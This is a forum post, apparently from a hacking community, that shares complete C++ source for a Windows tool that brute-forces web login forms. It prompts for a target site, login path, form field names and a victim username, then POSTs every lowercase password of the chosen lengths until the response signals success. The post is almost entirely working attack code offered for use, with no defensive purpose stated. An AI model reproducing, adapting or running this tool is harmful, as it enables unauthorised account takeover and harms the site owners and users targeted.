I have coded this sometime ago for windows, I'll be making a nice brute forcer of this for BT soon. ( Probally tommorow )

Code:
/*
**
** Brute Forcer Example Source Code
** UnnamedOne
** brian_denys@hotmail.com
** hxxp://xxx.remote-exploit.org
**
*/

#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <string.h>
#include <signal.h>
#include <stdarg.h>
#include <iostream.h>
#pragma comment(lib, "ws2_32.lib")

#define ijji "Avatar"
#define SkyGamers ""

SOCKET Conn;
char URL[256];
char Path[256];
char UserVar[256];
char PassVar[256];
char Username[32];
char def_charset[] = "abcdefghijklmnopqrstuvwxyz";
unsigned int inc[128];

// Prototypes
// Connect, send, etc..
int Connect(char* szIP, int szPort);
int guess(char* szUser, char* szPass);
int remotePOST(SOCKET m_sConnection, CHAR* m_cHost, CHAR* m_cPath, CHAR* m_cData, CHAR* m_cReferer, CHAR* m_cCookies);
int End(SOCKET s);
// Brute Force Algoritm Functions
int finished(char *block, char *charset, char *templ);
void increment(char *block, int len, char *charset, char *templ);
void chunk(int start, int end, char *charset, char *templ, char *startblock);
int StartBrute(int min, int max);

int main()
{
	int min, max;
	cout << "Enter URL of target witout hxxp:// (Ex. xxx.targethost.com)" << endl;
	cin >> URL;
	cout << "Enter Path (Ex. /index.php)" << endl;
	cin >> Path;
	cout << "Username variable (Ex. vBulletin_username)" << endl;
	cin >> UserVar;
	cout << "Password variable (Ex. vBulletin_password)" << endl;
	cin >> PassVar;
	cout << "Target Username (Ex. Asshole)" << endl;
	cin >> Username;
	cout << "Minimum characters?" << endl;
	cin >> min;
	cout << "Maximum characters?" << endl;
	cin >> max;
	StartBrute(min,max);
	return 0;
}

int Connect(char* szIP, int szPort)
{
	WSADATA wsaData;
	int iResult;
	SOCKET ConnectSocket;
	sockaddr_in clientService;
	struct hostent* m_hHost;

	iResult = WSAStartup(MAKEWORD(2,2), &wsaData);
	if(iResult != NO_ERROR)
		printf("Error at WSAStartup()\n");

	ConnectSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
	if(ConnectSocket == INVALID_SOCKET)
	{
		printf("Error at socket(): %ld\n", WSAGetLastError());
		WSACleanup();
		return 1;
	}

	m_hHost = gethostbyname(szIP);

	memset( &clientService, 0, sizeof clientService );

	clientService.sin_family = AF_INET;
	clientService.sin_addr = *(struct in_addr *)m_hHost->h_addr;
	clientService.sin_port = htons(szPort);

	if(connect(ConnectSocket, (SOCKADDR*) &clientService, sizeof(clientService)) == SOCKET_ERROR)
	{
		printf( "Failed to connect.\n" );
		WSACleanup();
		return 1;
	}
	else
	{
		//printf("Connected to %s:%d\n", m_hHost->h_name, szPort);
	}

	Conn = ConnectSocket;

	return ConnectSocket;
}

int guess(char* szUser, char* szPass)
{
	int iResult;
	int recvbuflen = 800096;
	char* recvbuf = (char*)malloc(800096);

	char* hxxpURL = (char*)malloc(256);
	sprintf(hxxpURL, "hxxp://%s",URL);

	char* vars = (char*)malloc(256);
	sprintf(vars, "%s=%s&%s=%s",UserVar, szUser, PassVar, szPass);

	remotePOST(Conn, URL, Path, vars, hxxpURL, NULL);

	iResult = recv(Conn, recvbuf, recvbuflen, 0);
	recvbuf[iResult] = 0x00;
	printf("%s",recvbuf);
	char* strip = strstr(recvbuf, (const char*)"changed");
	//printf("%s\n",strip);
	if(strip != NULL){
		MessageBox(NULL,szPass,"Found!",MB_OK);
		ExitProcess(0);
	}

	memset(recvbuf,0,sizeof(recvbuf));

	return 0;
}

int remotePOST(SOCKET m_sConnection, CHAR* m_cHost, CHAR* m_cPath, CHAR* m_cData, CHAR* m_cReferer, CHAR* m_cCookies)
{
	CHAR* m_cCompleteBuffer = (CHAR*)malloc(2096);

	if(m_cCookies)
	{
		sprintf(m_cCompleteBuffer,
			"POST %s "
			"HXXP/1.1\r\n"
			"Host: %s\r\n"
			"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\r\n"
			"Referer: %s\r\n"
			"Keep-Alive: 300\r\n"
			"Connection: keep-alive\r\n"
			"Cookie: %s\r\n"
			,m_cPath
			,m_cHost
			,m_cReferer
			,m_cCookies);
	}
	else
	{
		sprintf(m_cCompleteBuffer,
			"POST %s "
			"HXXP/1.1\r\n"
			"Host: %s\r\n"
			"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3\r\n"
			"Referer: %s\r\n"
			"Keep-Alive: 300\r\n"
			"Connection: keep-alive\r\n"
			,m_cPath
			,m_cHost
			,m_cReferer);
	}

	CHAR* m_cDummy  = "Content-Type: application/x-www-form-urlencoded\r\n";
	CHAR* m_cDummy2 = (CHAR*)malloc(128);

	INT m_iLength = strlen(m_cData);

	sprintf(m_cDummy2,"Content-Length: %i\r\n\r\n",m_iLength);

	INT m_iReturn = send(m_sConnection,m_cCompleteBuffer,strlen(m_cCompleteBuffer),0);
	
	if(m_iReturn)
	{
		m_iReturn = send(m_sConnection,m_cDummy,strlen(m_cDummy),0);
		
		if(m_iReturn)
		{
			m_iReturn = send(m_sConnection,m_cDummy2,strlen(m_cDummy2),0);
				
				if(m_iReturn)
				{
					m_iReturn = send(m_sConnection,m_cData,strlen(m_cData),0);

					if(m_iReturn)
					{
						free(m_cDummy2);
						free(m_cCompleteBuffer);
						return m_iReturn;
					}
				}
		}
	}

	free(m_cDummy2);
	free(m_cCompleteBuffer);

	return m_iReturn;
}

int End(SOCKET s)
{
	shutdown(s, SD_SEND);
	closesocket(s);
	WSACleanup();

	return 1;
}

// Brute Force Algoritm Functions
// hxxp://darkc0de.com/c0de/c/crunch.txt
int finished(char *block, char *charset, char *templ)
{
	unsigned int i;

	if(templ[0]==0)
	{
		for(i=0;i<strlen(block);i++)
			if(inc[i] < strlen(charset)-1)	return FALSE;
	}
	else
	{
		for(i=0;i<strlen(block);i++)
			if(templ[i]=='@' && (inc[i] < strlen(charset)-1)) return FALSE;
	}

	return TRUE;
}

void increment(char *block, int len, char *charset, char *templ)
{
	int i;

	for(i=strlen(block)-1;i>-1;i--)
	{
		if(templ[0]==0 || templ[i]=='@')
		{
			if(inc[i] < strlen(charset)-1)
			{
				inc[i]++;
				block[i] = charset[inc[i]];
				i=-1;
			}
			else
			{
				block[i] = charset[0];
				inc[i] = 0;
			}
		}
		else
		{
		}
	}
}

void chunk(int start, int end, char *charset, char *templ, char *startblock)
{
	int i,j,k,t;
	char block[128];

	if(end-start <0) return;

	if(templ[0]==0) t=0;
	else		t=1;

	for(i=start;i<=end;i++)
	{
		memset(block,0,sizeof(block));

		for(j=0;j<i;j++)
		{
			if(startblock[0]==0)
			{
				if(t==0)
				{
					block[j] = charset[0];
					inc[j] = 0;
				}
				else
				{
					if(templ[j]=='@')
					{
						block[j] = charset[0];
						inc[j] = 0;
					}
					else			block[j] = templ[j];
				}
			}
			else
			{
				block[j] = startblock[j];

				for(k=0;k<strlen(charset);k++)
					if(block[j]==charset[k]) inc[j] = k;
			}
		}

		printf("Trying: %s\n",block);
		Connect(URL, 80);
		guess(Username, block);
		End(Conn);
		while(!finished(block,charset,templ))
		{
			increment(block,i,charset,templ);
			printf("Trying: %s\n",block);
			Connect(URL, 80);
			guess(Username, block);
			End(Conn);
		}
	}
}

int StartBrute(int min, int max)
{
	char charset[256];
	char templ[256];
	char startblock[256];

	memset(charset,0,sizeof(charset));
	memset(templ,0,sizeof(templ));
	memset(startblock,0,sizeof(startblock));

	strncpy(charset,def_charset,strlen(def_charset));

	chunk(min,max,charset,templ,startblock);

	return 1;
}